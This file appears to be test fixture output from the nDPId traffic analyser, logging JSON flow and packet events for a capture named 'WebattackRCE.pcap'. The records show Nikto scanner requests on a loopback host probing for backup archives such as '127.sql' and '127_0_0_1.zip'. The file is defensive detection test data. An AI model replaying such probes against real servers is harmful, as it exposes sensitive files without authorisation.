+00629{"flow_id":364,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":364,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":249842,"pkt_caplen":209,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":209,"pkt_l4_len":175,"pkt":"AAAAAAAAAAAAAAAACABFAADDeldAAEAGwdt\/AAABfwAAAcRgH5A4o0L2zMH\/yIAYAED+twAAAQEICp1m\/SmdZv0pR0VUIC8xMjcuMC4wLnppcCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KDQo="} +00763{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":364,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":364,"flow_packet_id":1,"flow_first_seen":1576420277249,"flow_last_seen":0,"flow_tot_l4_data_len":175,"flow_min_l4_data_len":175,"flow_max_l4_data_len":175,"flow_avg_l4_data_len":175,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50272,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.0.0.zip","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":365,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":365,"flow_packet_id":1,"flow_first_seen":1576420277252,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50274,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00628{"flow_id":365,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":365,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":252103,"pkt_caplen":208,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":208,"pkt_l4_len":174,"pkt":"AAAAAAAAAAAAAAAACABFAADCJxNAAEAGFSF\/AAABfwAAAcRiH5BR2x+x8C2V44AYAED+tgAAAQEICp1m\/SydZv0rR0VUIC8xMjcudGFyLmd6IEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQoNCg=="} +00762{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":365,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":365,"flow_packet_id":1,"flow_first_seen":1576420277252,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50274,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.tar.gz","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":366,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":366,"flow_packet_id":1,"flow_first_seen":1576420277253,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50276,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00628{"flow_id":366,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":366,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":253760,"pkt_caplen":208,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":208,"pkt_l4_len":174,"pkt":"AAAAAAAAAAAAAAAACABFAADClhFAAEAGpiJ\/AAABfwAAAcRkH5B3iK6vsi1CtIAYAED+tgAAAQEICp1m\/S2dZv0tR0VUIC8xMjcudGFyLmd6IEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQoNCg=="} +00762{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":366,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":366,"flow_packet_id":1,"flow_first_seen":1576420277253,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50276,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.tar.gz","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":367,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":367,"flow_packet_id":1,"flow_first_seen":1576420277255,"flow_last_seen":0,"flow_tot_l4_data_len":171,"flow_min_l4_data_len":171,"flow_max_l4_data_len":171,"flow_avg_l4_data_len":171,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50278,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00625{"flow_id":367,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":367,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":255865,"pkt_caplen":205,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":205,"pkt_l4_len":171,"pkt":"AAAAAAAAAAAAAAAACABFAAC\/zTlAAEAGbv1\/AAABfwAAAcRmH5BLoPWWHSfpPoAYAED+swAAAQEICp1m\/S+dZv0vR0VUIC8xMjcuZWdnIEhUVFAvMS4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00759{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":367,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":367,"flow_packet_id":1,"flow_first_seen":1576420277255,"flow_last_seen":0,"flow_tot_l4_data_len":171,"flow_min_l4_data_len":171,"flow_max_l4_data_len":171,"flow_avg_l4_data_len":171,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50278,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.egg","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":368,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":368,"flow_packet_id":1,"flow_first_seen":1576420277258,"flow_last_seen":0,"flow_tot_l4_data_len":171,"flow_min_l4_data_len":171,"flow_max_l4_data_len":171,"flow_avg_l4_data_len":171,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50280,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00625{"flow_id":368,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":368,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":258859,"pkt_caplen":205,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":205,"pkt_l4_len":171,"pkt":"AAAAAAAAAAAAAAAACABFAAC\/W9xAAEAG4Fp\/AAABfwAAAcRoH5D01mN5gVzP14AYAED+swAAAQEICp1m\/TKdZv0yR0VUIC8xMjcuZWdnIEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQoNCg=="} +00759{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":368,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":368,"flow_packet_id":1,"flow_first_seen":1576420277258,"flow_last_seen":0,"flow_tot_l4_data_len":171,"flow_min_l4_data_len":171,"flow_max_l4_data_len":171,"flow_avg_l4_data_len":171,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50280,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.egg","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":369,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":369,"flow_packet_id":1,"flow_first_seen":1576420277260,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50282,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00632{"flow_id":369,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":369,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":260361,"pkt_caplen":211,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":211,"pkt_l4_len":177,"pkt":"AAAAAAAAAAAAAAAACABFAADF4tJAAEAGWV5\/AAABfwAAAcRqH5C3Btp0g+NrSIAYAED+uQAAAQEICp1m\/TSdZv00R0VUIC8xMjdfMF8wXzEuemlwIEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQoNCg=="} +00765{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":369,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":369,"flow_packet_id":1,"flow_first_seen":1576420277260,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50282,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127_0_0_1.zip","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":370,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":370,"flow_packet_id":1,"flow_first_seen":1576420277261,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50284,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00632{"flow_id":370,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":370,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":261681,"pkt_caplen":211,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":211,"pkt_l4_len":177,"pkt":"AAAAAAAAAAAAAAAACABFAADFGk1AAEAGIeR\/AAABfwAAAcRsH5AZ8SLp80IPEIAYAED+uQAAAQEICp1m\/TWdZv01R0VUIC8xMjdfMF8wXzEuemlwIEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00765{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":370,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":370,"flow_packet_id":1,"flow_first_seen":1576420277261,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50284,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127_0_0_1.zip","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":371,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":371,"flow_packet_id":1,"flow_first_seen":1576420277263,"flow_last_seen":0,"flow_tot_l4_data_len":171,"flow_min_l4_data_len":171,"flow_max_l4_data_len":171,"flow_avg_l4_data_len":171,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50286,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00625{"flow_id":371,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":371,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":263023,"pkt_caplen":205,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":205,"pkt_l4_len":171,"pkt":"AAAAAAAAAAAAAAAACABFAAC\/qndAAEAGkb9\/AAABfwAAAcRuH5AQK5LXaKY1oYAYAED+swAAAQEICp1m\/TadZv02R0VUIC8xMjcuc3FsIEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00759{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":371,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":371,"flow_packet_id":1,"flow_first_seen":1576420277263,"flow_last_seen":0,"flow_tot_l4_data_len":171,"flow_min_l4_data_len":171,"flow_max_l4_data_len":171,"flow_avg_l4_data_len":171,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50286,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.sql","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":372,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":372,"flow_packet_id":1,"flow_first_seen":1576420277264,"flow_last_seen":0,"flow_tot_l4_data_len":171,"flow_min_l4_data_len":171,"flow_max_l4_data_len":171,"flow_avg_l4_data_len":171,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50288,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00625{"flow_id":372,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":372,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":264475,"pkt_caplen":205,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":205,"pkt_l4_len":171,"pkt":"AAAAAAAAAAAAAAAACABFAAC\/DxVAAEAGLSJ\/AAABfwAAAcRwH5D+vze4KlHK9oAYAED+swAAAQEICp1m\/TidZv04R0VUIC8xMjcuc3FsIEhUVFAvMS4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00759{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":372,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":372,"flow_packet_id":1,"flow_first_seen":1576420277264,"flow_last_seen":0,"flow_tot_l4_data_len":171,"flow_min_l4_data_len":171,"flow_max_l4_data_len":171,"flow_avg_l4_data_len":171,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50288,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.sql","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":373,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":373,"flow_packet_id":1,"flow_first_seen":1576420277266,"flow_last_seen":0,"flow_tot_l4_data_len":182,"flow_min_l4_data_len":182,"flow_max_l4_data_len":182,"flow_avg_l4_data_len":182,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50290,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":373,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":373,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":266896,"pkt_caplen":216,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":216,"pkt_l4_len":182,"pkt":"AAAAAAAAAAAAAAAACABFAADKoqhAAEAGmYN\/AAABfwAAAcRyH5D4dpoDoX2CwIAYAED+vgAAAQEICp1m\/TqdZv06R0VUIC8xMjdfMF8wXzEudGFyLmx6bWEgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCg0K"} +00770{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":373,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":373,"flow_packet_id":1,"flow_first_seen":1576420277266,"flow_last_seen":0,"flow_tot_l4_data_len":182,"flow_min_l4_data_len":182,"flow_max_l4_data_len":182,"flow_avg_l4_data_len":182,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50290,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127_0_0_1.tar.lzma","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":374,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":374,"flow_packet_id":1,"flow_first_seen":1576420277268,"flow_last_seen":0,"flow_tot_l4_data_len":182,"flow_min_l4_data_len":182,"flow_max_l4_data_len":182,"flow_avg_l4_data_len":182,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50292,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":374,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":374,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":268328,"pkt_caplen":216,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":216,"pkt_l4_len":182,"pkt":"AAAAAAAAAAAAAAAACABFAADKWilAAEAG4gJ\/AAABfwAAAcR0H5DTe2KDABhOQYAYAED+vgAAAQEICp1m\/TydZv08R0VUIC8xMjdfMF8wXzEudGFyLmx6bWEgSFRUUC8xLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00770{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":374,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":374,"flow_packet_id":1,"flow_first_seen":1576420277268,"flow_last_seen":0,"flow_tot_l4_data_len":182,"flow_min_l4_data_len":182,"flow_max_l4_data_len":182,"flow_avg_l4_data_len":182,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50292,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127_0_0_1.tar.lzma","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":375,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":375,"flow_packet_id":1,"flow_first_seen":1576420277269,"flow_last_seen":0,"flow_tot_l4_data_len":171,"flow_min_l4_data_len":171,"flow_max_l4_data_len":171,"flow_avg_l4_data_len":171,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50294,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00625{"flow_id":375,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":375,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":269680,"pkt_caplen":205,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":205,"pkt_l4_len":171,"pkt":"AAAAAAAAAAAAAAAACABFAAC\/XglAAEAG3i1\/AAABfwAAAcR2H5D4uGaj1sX5qYAYAED+swAAAQEICp1m\/T2dZv09R0VUIC8xMjcuY2VyIEhUVFAvMS4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00759{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":375,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":375,"flow_packet_id":1,"flow_first_seen":1576420277269,"flow_last_seen":0,"flow_tot_l4_data_len":171,"flow_min_l4_data_len":171,"flow_max_l4_data_len":171,"flow_avg_l4_data_len":171,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50294,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.cer","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":376,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":376,"flow_packet_id":1,"flow_first_seen":1576420277270,"flow_last_seen":0,"flow_tot_l4_data_len":171,"flow_min_l4_data_len":171,"flow_max_l4_data_len":171,"flow_avg_l4_data_len":171,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50296,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00625{"flow_id":376,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":376,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":270959,"pkt_caplen":205,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":205,"pkt_l4_len":171,"pkt":"AAAAAAAAAAAAAAAACABFAAC\/A5hAAEAGOJ9\/AAABfwAAAcR4H5CBQjs0aZw5xIAYAED+swAAAQEICp1m\/T6dZv0+R0VUIC8xMjcuY2VyIEhUVFAvMS4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00759{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":376,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":376,"flow_packet_id":1,"flow_first_seen":1576420277270,"flow_last_seen":0,"flow_tot_l4_data_len":171,"flow_min_l4_data_len":171,"flow_max_l4_data_len":171,"flow_avg_l4_data_len":171,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50296,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.cer","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} 